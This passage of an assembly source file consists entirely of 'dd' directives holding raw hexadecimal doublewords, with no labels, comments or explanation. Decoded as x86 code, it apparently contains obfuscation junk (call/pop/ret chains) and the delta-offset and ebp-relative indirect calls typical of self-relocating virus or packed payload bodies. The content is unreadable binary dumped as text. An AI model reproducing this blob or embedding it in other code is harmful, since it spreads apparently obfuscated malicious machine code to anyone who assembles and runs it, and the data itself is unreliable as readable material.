3, 5AC35A20h, 4245489h, 4244481h, 16h, 2FC35242h, 8B661748h dd 4E8C1F9h, 2D8589h, 0F7660603h, 56006AE2h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 4B22E6A3h dd 19074FD9h, 25C9BD8Bh, 0D82B0603h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 89C35545h, 7F7CF378h, 90A2C9Fh dd 32AD195h, 0F98B5806h, 880FD82Bh, 16Dh, 28C68166h, 7B91Bh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0FDC485C3h, 8B05A880h, 301CDB5h, 0C18306h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CAC35747h dd 898796C1h, 313A985h, 0FD93B06h, 10C86h, 0F9BD8B00h dd 66060308h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0D8590CC3h, 0FB80A686h, 0A1BD8BDBh dd 0F6060310h, 840F04C1h, 0A7h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 67C35040h, 66A777F9h, 0FF23B9BFh dd 311A595h, 9E906h, 0CE670000h, 0E7BA6760h, 5B1D5FA5h dd 5621DF81h, 0C32B6669h, 8343Dh, 5C860F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0F9DAC351h, 0FE8h, 88C18400h, 0A44DBC81h dd 1B833176h, 0ABBA2315h, 9DD78166h, 4AE95F8Dh, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0A635C353h, 8B8FB6F5h, 55006AC0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 552200E0h dd 8BC90A0Dh, 3034DB5h, 8BC38B06h, 0F38B66D8h, 25CD85C7h dd 0A3FD0603h dd 6A75F4h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 75CEE2C3h, 0FB8B667Dh, 820FC08Bh, 6, 0C91B58Bh dd 0BD810603h, 6032879h, 7D0h, 16850Fh, 0B5290000h, 6030CA1h dd 287985FFh, 50560603h, 3111BD8Bh, 5E5F0603h, 2879B5FFh dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 838CA1C3h, 1BA6E3C4h, 0CC5BD0Bh, 95FF0603h dd 6031FB9h, 8ACF8166h, 6A90EEh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0E4C5E6C3h, 92995F41h dd 0B58BD5A9h, 60329FDh, 0CE8h, 3C022200h, 85D46F95h, 2109C451h dd 5EFA8B15h, 10219D89h, 81660603h, 29B655EFh, 32279B5h dd 77BE5606h, 8955D92Ch, 320F585h, 7E95F06h, 0B3000000h dd 0B4766111h, 0BD8B6AEFh, 60301DDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0B7C35040h, 0B58960A1h, 60323D1h dd 41B58BFCh, 0F06030Ch, 0E861CEB7h, 0Bh, 1A085D9Ah, 0F564F360h dd 89772D9Ch, 3315DBDh, 5E906h, 0CF370000h, 5FA58143h dd 0BD8BF98Bh, 60324E9h, 0F65BD2Bh, 0B5330603h, 6030AD1h dd 1AA54EBEh, 25BD8904h, 6A060322h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 8430C357h dd 0BE4B4927h, 35E9F5DAh, 0FFFFFF8h, 8Fh, 6AC18B00h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0C77C355h, 0E96012EFh, 0Dh, 33821518h, 1B747AC3h, 6E639A74h dd 4EBE1h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0D5C9C352h, 8932D2B3h, 30375BDh dd 8DF78B06h, 3281185h, 65958906h, 8B06032Ch, 30A29BDh dd 52505006h, 4BF0BE66h, 0BE53310Fh, 8B78B52h, 89585A5Eh dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0D6691CC3h, 850F006Ah, 0 dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 870F53C3h, 0Ah, 48E0Fh, 0BF660000h, 0BE66A153h dd 858D66D9h, 606FA35h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 45C35545h, 601B50A8h, 0E1BEB8EAh, 891097DCh dd 324F185h, 5C08306h, 90F18B66h, 0E7BE5250h, 0F687A6Ah dd 5AF28B31h, 0E3BF5058h, 9010F5A7h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0B1C35040h, 0E78166E7h, 6A4C69h dd 0A31B52Bh, 6A0603h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 8C35343h, 95FF6621h, 6030CC9h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 94C35141h, 893E0AB0h dd 303E99Dh, 479D8D06h, 6A060697h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 77C7C356h dd 73B01335h, 0B61CC66h, 32CB9B5h, 6AD3FF06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 9CDC353h, 0FFDD2758h, 32A1585h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0D9EECDF7h dd 773E914h, 0E80000h, 5D000000h, 0FA3FED81h, 6A0606h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 81E48AC3h, 32879BDh, 7D006h, 3F860F00h, 66000001h, 8B465BBEh dd 305BD9Dh, 0FE806h, 2CF90000h, 0CE4EBA9Ch, 40360DC9h dd 0D8494200h, 0E3815F16h, 100h, 0F89B523h, 0DB0B0603h dd 7D850Fh, 0B58B0000h, 6031FCDh, 0F84FBD83h, 0F000606h dd 1084h, 0E6816600h, 0B58B03BFh, 60326E9h, 86E9h, 4F85C700h dd 10606F8h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0A735C355h, 0B5092181h dd 6031F11h, 52E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 364DE6C4h, 19BD0380h dd 0C7060331h, 6F84F85h, 6, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 58EE4AF8h dd 8DA239D2h, 305BD9Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 12E912B3h, 0EC000000h dd 0F3CBC1Ah, 2356DAA8h, 26E5C42Dh, 71C66537h, 0FF23815Bh dd 6AFFFFFEh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 1BD5C356h, 1B7D9589h, 8C660603h dd 0D1B58BDBh, 0F606030Ch, 840F04C3h, 30h, 68D0Fh, 95890000h dd 6032E31h, 11A595FFh, 0B5890603h, 6032929h, 0F525050h dd 685h, 850F00h, 0F000000h, 5AF88B31h, 24048958h, 37FE9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 284D98CEh, 93B6A156h, 0BE8h, 5A575100h dd 225A35CCh, 0A6EA0EB7h, 810F52h, 5E000000h, 7E95Eh, 64E50000h dd 9E4910B7h, 0F500B05Ch, 816670E6h, 0E435D3CEh, 56006A71h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0D26CFF3Ch, 0ED9E28C5h, 810F60DBh, 6, 26F58589h, 0F610603h dd 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 41D346C3h, 6BA17ACh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0F03CC356h, 0F1858B60h, 6106030Bh, 6AC38Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 35FA25C3h, 825E818h, 0CA5B52Bh, 0E8C10603h, 0DE816604h dd 0F7668580h, 0FD82BE2h, 480h, 11B56000h, 93509361h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 44C35646h, 0FFF7B70Fh dd 32879B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 95FF07C5h, 6031FB9h, 0CE8h, 24A94300h dd 0BAE51063h, 43E30F1Dh, 21BD89F5h, 5F060300h, 0CE900B0h dd 0EC000000h, 3D9C2574h, 2F41543Dh, 0E61A606Bh, 0FBBF0F70h dd 898D8B60h, 8B060326h, 313B585h, 71E46106h, 3CFEB70Fh dd 0D5830F61h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 4FC7C357h, 7921C525h dd 296B14A8h, 328DD9Dh, 0D8B60F06h, 2681B58Bh, 6BA0603h dd 8B000000h, 331BDB5h, 6AC38B06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 979BC357h dd 4BAFCA1Dh, 0EE9h, 5F605600h, 0F07656Eh, 0E07EF6CDh dd 0C1C606C6h, 66F804E8h, 8501E2F7h, 6030AE9h, 6AD82Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 775764C3h, 0D1BD23C5h, 58060302h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0AFC35343h, 43A90852h, 280FBCFBh dd 0FD82B88h, 0FF88h, 7B9F800h, 29000000h, 328CD8Dh, 0A5BD8906h dd 83060329h, 6A00C1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 21FB76C3h, 0D01F2A57h, 860FD93Bh dd 0C0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 20C35545h, 66FAB70Fh, 0C1F6D98Ch, 70840F04h, 8B000000h dd 32901B5h, 0A595FF06h, 0E8060311h, 8, 0EC904B9Bh, 0D0D9A21Fh dd 89DF8166h, 6A5B5E21h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 512EC350h, 0C32B253Fh dd 11820Fh, 5E80000h, 0A4000000h, 18E9E2Bh, 0A7DB529h dd 3D5E0603h, 834h, 0D860Fh, 8B660000h, 2AE9FBh, 81660000h dd 8BA2ABEEh, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 1AF36EC5h, 0F86E98D9h, 0D88BC38Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1EC35242h dd 2069B58Bh, 85290603h, 60328A9h, 12F185C7h, 0CB3B0603h dd 8BFC1DDBh, 8AD681C0h, 812C01F5h, 32879BDh, 7D006h, 39850F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 17A0C352h, 5C1CBBBh, 287985FFh dd 0DE90603h, 42000000h, 34AD49F1h, 7D47248Dh, 9FED1A9Fh dd 2879B5FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0B55F8C3h, 0AD11679Dh, 0B995FF8Ch dd 6A06031Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0E96EC351h, 9, 6B7176E4h, 0CD4626B2h dd 0CD850147h, 9006032Eh, 2E8BBE66h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 88C35545h, 0C66E2EEEh, 13E98774h dd 0A8000000h, 1492D253h, 29AB0F55h, 5157EE23h, 0ED48A5C6h dd 0FFC7FD5h, 0BF0FF0BFh, 0B9CF81FFh, 605B29F7h, 1B068BBEh dd 8880F13h, 29000000h, 31061B5h, 0E9595106h, 0Bh, 3097D800h dd 46CA9AE5h, 61DB9779h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 15C35545h, 0DDE07B8Dh, 48AC84D7h, 0BBF66EAh dd 8166601Bh, 893DE0C7h, 32101BDh, 0D98B6606h, 0F38B6661h dd 6AFABF0Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0B5EBC351h, 0F34E871h, 8589F3BFh dd 6031E9Dh, 2AE5BD8Bh, 800F0603h, 26h, 264DBD8Bh, 12E80603h dd 0D6000000h, 0AEEFF8E3h, 3E54F40Ch, 2D55C2DEh, 0C163A3D6h dd 8B6160EDh, 32AE9BDh, 0CBE95F06h, 0E9FFFFF8h, 14h, 7BDF75C0h dd 0C428DB2Ah, 3B4E1176h, 0D6E2CD43h, 0E0A2640Ah, 68C0Fh dd 0B58B0000h, 60304E1h, 138E0Fh, 0BD2B0000h, 6031399h dd 8E9h, 0AF5FA700h, 6071BDD6h, 6AC18BE0h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F528C353h dd 4EB78h, 0B000000h, 31791BDh, 0E7816606h, 858DF838h dd 6032811h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 5DC35242h, 0AAE50099h, 901C96D4h, 744BE66h, 13BF6650h dd 81669033h, 6A206FCEh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 3373D21Ah, 31CE1BDh, 95B58B06h dd 6A06032Ah, 5E858D00h, 6A060703h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 6ED8C355h dd 0DB37EC48h, 0BD317CE7h, 603174Dh, 6A05C083h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 33F9C351h, 0BF665260h, 0BF50816Bh, 4393EFD7h, 56240489h dd 2D5CBEh, 6A5E24h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 6FC35747h, 8D89518Eh, 6032915h, 6A006A5Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0B792C357h, 0F07AB77Eh, 8D89C01Bh, 60329C1h dd 0CC995FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0B58B90C3h, 60328CDh, 97479D8Dh dd 5F530606h, 0BD89D3FFh, 60330C1h, 2A1585FFh, 6A0603h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 6A6336C3h, 0E3BAAB6Ah, 3DE9CF7Ch, 0E8000009h, 0 dd 68ED815Dh, 89060703h, 311AD85h, 79BD8106h, 0D0060328h dd 0F000007h, 13786h, 0A1B50300h, 2906031Dh, 31D7D9Dh dd 4D9D8B06h, 6A060321h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 426CC357h, 0CCC53EFDh dd 100E381h, 0BF90000h, 7B850FDBh, 8B000000h, 30181B5h dd 0CFBD8306h, 60701h, 4D840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 1A9DA4C3h dd 2D81B58Bh, 0E9F50603h, 6Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0AFC35545h, 8083E8F6h, 0C76B18FEh dd 701CF85h, 106h, 0C1BD8900h, 0E9060330h, 35h, 23D5B58Bh dd 85C70603h, 60701CFh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 51C35545h dd 637899A5h, 0FBCE8166h, 4D9D8D2Ah, 6A060321h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 270EC356h, 0AF3A6563h, 81D6B23Bh, 0FFFEFF23h, 0AE8FFh dd 0ECD70000h, 7D8E0234h, 442CC140h, 58A0Fh, 0E1BE0000h dd 5F7BC434h, 0FDB8C66h, 0C3F6F9BFh, 0A1840F04h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0C369C353h, 165B5768h, 8589C75Bh, 60322FDh dd 1FE59531h, 95FF0603h, 60311A5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 71C35141h, 0EBEA853Fh, 4B22E6A3h dd 3E9ABEBFh, 0FE8B6619h, 90F38B66h, 50F78B66h, 3830Fh dd 8B660000h, 6A90F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 696939C3h, 9B2838B9h, 66A68CCEh dd 8501FE8Bh, 6031B25h, 52CE9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 6DBAD566h dd 0F6B70F4Eh, 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0F3016BC3h, 17A159B7h, 70E62D82h dd 0B60F71E4h, 0EE9D8h, 0A43B0000h, 0DF733714h, 806051E9h dd 0A50460F5h, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0F599EBCh, 689h, 0C1953100h dd 6606031Fh, 0C38BF98Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0B6C35646h, 9AEF649Dh, 134AB4Ch, 31EED85h dd 1BD3106h, 6606030Dh, 0E8C1F38Bh, 0AE904h, 97A20000h dd 0E62CBBDAh, 0D23B0F65h, 6AE2F766h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89BAC352h dd 3197585h, 7E95706h, 7A000000h, 0E039009Dh, 2B5F61EBh dd 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 82E4B04Eh, 1F9CFF2Ch, 38A0F12h, 0F000000h dd 0F50F9B7h, 283h, 89FE8B00h, 6A241Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 5C1C8FC3h dd 0CF4B4863h, 0FD89017h, 0C8Ch, 68E0F00h, 89000000h, 33129B5h dd 79B5FF06h, 6A060328h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0F424C356h, 18B9092Ch dd 66F0771Ch, 8531F78Bh, 6030F0Dh, 1FB995FFh, 6A0603h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 58A746C3h, 7E94165h, 0EC000000h, 91DE411h, 0FA8B0608h dd 6A00B0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0EBFFD1C3h, 70E6D3A6h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 82C35646h, 0B4624834h, 5D1E76BBh dd 7E9h, 0CF866300h, 74E46218h, 0F860Fh, 0E9560000h, 8 dd 0F577075Dh, 0E0ECC34Dh, 99BE665Fh, 6A71E4CAh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 205C355h, 777BEAF5h, 3C08DC89h, 0AA830F61h, 6A000002h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 358BC352h, 0FF88BCFh, 6AD8B6h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 742016C3h dd 51086A49h, 6BAh, 0BE66F800h, 0C38BF1FCh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ADC35646h, 0E8C10B39h dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 782518E8h, 0F7661E1Fh, 56006AE2h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0BC5773CFh, 0DF81D82Bh, 14D3747h, 0A719C781h, 0E858125Ch dd 9, 0E14A8DAAh, 0FB3F67CBh, 0F08B6678h, 0FD82B5Eh, 1CC88h dd 10E800h, 44950000h, 0BA09DFD3h, 94AF4DA9h, 2DF557E2h dd 0B95F9EF6h, 7, 0BE9h, 0BCDC200h, 0B4234F35h, 7DFCF83Ah dd 71958957h, 5E06031Ch, 6A00C183h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F68EC355h dd 0E5A2BE66h, 860FD93Bh, 16Dh, 5E8h, 50A47700h, 0AE8D947h dd 80000000h, 82C1BE20h, 6F9B6727h, 0FBB70FFAh, 8C665F5Fh dd 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0F88BEC31h, 0F04C1F6h, 10584h, 0A91EBE00h dd 95FF6046h, 60311A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0BCC35646h, 86238199h, 57D9838Fh, 6A5B92h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8B0F54C3h, 18h, 12E8h, 0E3B0A300h, 0B8172772h, 46BE1FD8h dd 4C0FA015h, 5FE3278Eh, 14E9h, 0B35FDB00h, 0ECBB9ADCh dd 0A5FF4B98h, 0CC630027h, 7EE667CCh, 6AC32B50h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 30A4C356h, 28D0Fh, 0F38B0000h, 8343Dh, 4F860F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0E024C351h, 0F8B70F2Ch, 29F9B58Bh, 42E90603h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 2004C351h, 85835B12h, 0C08BDD16h dd 12E8h, 6A9C500h, 90C27BF7h, 0F5481D1Dh, 0FE26DA98h dd 66542166h, 9E41EE81h, 8BC38B5Eh, 51006AD8h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 579AB96Bh dd 10E8h, 5ED31500h, 0C7544B8Fh, 10CD591Bh, 1BABB1AFh dd 0F59D893Dh, 5E060312h, 0BD85C75Fh, 5D060305h, 891A142Bh dd 30105B5h, 1C08B06h, 313E595h, 79BD8106h, 0D0060328h dd 0F000007h, 6085h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 7985FF49h, 6A060328h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0B8AFC352h, 4237DD80h, 6810Fh, 0D7810000h dd 4DD9472Ch, 3840Fh, 0B70F0000h, 0B58B53F6h, 603117Dh dd 79B5FF5Fh, 66060328h, 0FF48CDBEh, 31FB995h, 6A9006h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0B8F0C1C3h, 0CDB37E9Bh, 30619D89h, 890F0603h, 5, 158FD9BFh dd 0E19D296Eh, 0F06032Ch, 383h, 0F88B6600h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F9C35040h, 53812969h dd 57846075h, 8E917h, 9FDA0000h, 0DD82E791h, 0B58B3831h dd 60322E9h, 20059589h, 6A0603h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0D28372C3h, 89362662h dd 32EB595h, 698BBF06h, 6A3E21h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0E913FCC3h, 0F03C6F4Dh dd 75958B60h, 0F06030Bh dd 88Bh, 8983B300h, 30491BDh, 61F28B06h, 0AE9h, 0BF5E0300h dd 72997FA6h, 6AC36ED5h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0CFFC350h, 9B83B1F7h dd 8B8AAA5Bh, 331C5B5h, 0F6C9E906h, 0BD8BFFFFh, 6032041h dd 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0CA93B9C3h, 36C690C5h, 4EBh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 21B6CFC3h, 2811858Dh, 11E80603h, 35000000h, 0DD598B1Ah dd 5358A516h, 0DFC278C2h, 0FCC8E56Eh, 489505Fh, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 71941453h, 830F60B9h, 19h, 14E9h, 0D8901700h, 7E10F687h dd 0C6F1D5Ah, 0D5E003C7h, 61D75094h, 0FFDB81FCh, 612793B1h dd 0AE9006Ah, 65000000h, 35EC063Ch, 534A5FAh, 6A006A80h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 9615C351h, 0B658C2F3h, 507346F4h, 30B58529h dd 8D5E0603h, 70E3E85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0B1B58923h, 83060305h dd 8B5005C0h, 240489F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 28C35646h, 441502E5h, 0C15BD8Bh, 6A0603h dd 1A55BD8Bh, 8B560603h, 6A5FF1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0C9C35545h, 727453CAh, 8D8B60A2h dd 60328A9h, 0FDC9BB66h, 0C995FF61h, 8D06030Ch, 697479Dh dd 0F38B6606h, 85FFD3FFh, 6032A15h, 1D7DBD29h, 0E90603h dd 0E8000008h, 0 dd 48ED815Dh, 8906070Eh, 3269D95h, 79BD8106h, 0D0060328h dd 0F000007h, 15286h, 81666000h, 0F35B3EFh, 68Eh, 51B58B00h dd 61060321h, 31599D8Bh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0BDCA5BC3h, 0F80CD2DDh dd 6870F4Eh, 23000000h, 3250DB5h, 0E38106h, 89000001h dd 321E995h, 0FDB0B06h, 0B285h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 1AD5467Eh dd 8BCBC42Bh, 32941B5h, 0C6BD8306h, 6070Ch, 67840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 7A5E04C3h, 6259A6C1h, 8B7DE0DBh, 33271B5h, 5BD8B06h dd 0E9060304h, 57h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 4BC35545h, 0B4972C7Ah, 0F2E02A5Eh, 89BD2325h dd 0B060306h, 32E61B5h, 0C685C706h, 106070Ch, 0F9000000h dd 16E9h, 0CD950900h, 0C7060326h, 70CC685h, 6, 51858900h dd 8D06032Ch, 331599Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 141319C0h, 23E1BD8Bh dd 23810603h, 0FFFFFEFFh, 66F2B70Fh, 0B58BDB8Ch, 60317A1h dd 321D8501h, 0C3F60603h, 3A840F04h, 8B000000h, 0A595FFF0h dd 8B060311h, 31F39BDh, 4895006h, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 6E7BE347h dd 0DF2FF589h, 37BE6675h, 414E99Ah, 9E80000h, 0A7000000h dd 73D957A6h, 0D90D2B9h, 8E9h, 0F1680D00h, 5F0ED217h, 0DF815F4Ch dd 56875CB3h, 0B53300B0h, 60301CDh, 0B58970E6h, 6032BEDh dd 6A71E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 30AFE9C3h, 4EE59C6Dh, 0F2EDC87h, 6AD8B6h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 2E4639C3h, 8D291F56h, 6031ABDh, 0C4BE6652h, 6BA5EEDh dd 8B000000h, 0F8C38BF8h, 6A04E8C1h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0F363C353h dd 6E93A79h, 9C000000h, 0CA94F719h, 0F3B70FB0h, 6AE2F766h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 2C7BC351h, 69039EA6h, 8960D82Bh, 3283DB5h dd 0FFB70F06h, 59B50961h, 5006031Fh, 6A241C89h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0E5F8C353h, 5840Fh, 0AFBF0000h, 8930BCB5h, 30FF9B5h dd 79B5FF06h, 6A060328h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 818EC353h, 962877EEh dd 0B995FF63h, 6A06031Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0EC9C352h, 0E1BCF584h dd 0B58BDC85h, 6030415h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0CE46D9C3h, 2850Fh, 0F98B0000h dd 3B7BEE81h, 0F08B4A06h, 810F70E6h, 3, 0E4F8BF0Fh, 95B58B71h dd 3C06030Ah, 47830F61h, 0F8000002h, 0BFD8B60Fh, 273CDD15h dd 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0D41F8E14h, 4339C7BFh, 69B5890Ah dd 8B060303h, 0E4F781C3h, 0C13E0835h, 6A04E8h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 748509C3h, 2119B501h, 0F7660603h, 50006AE2h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 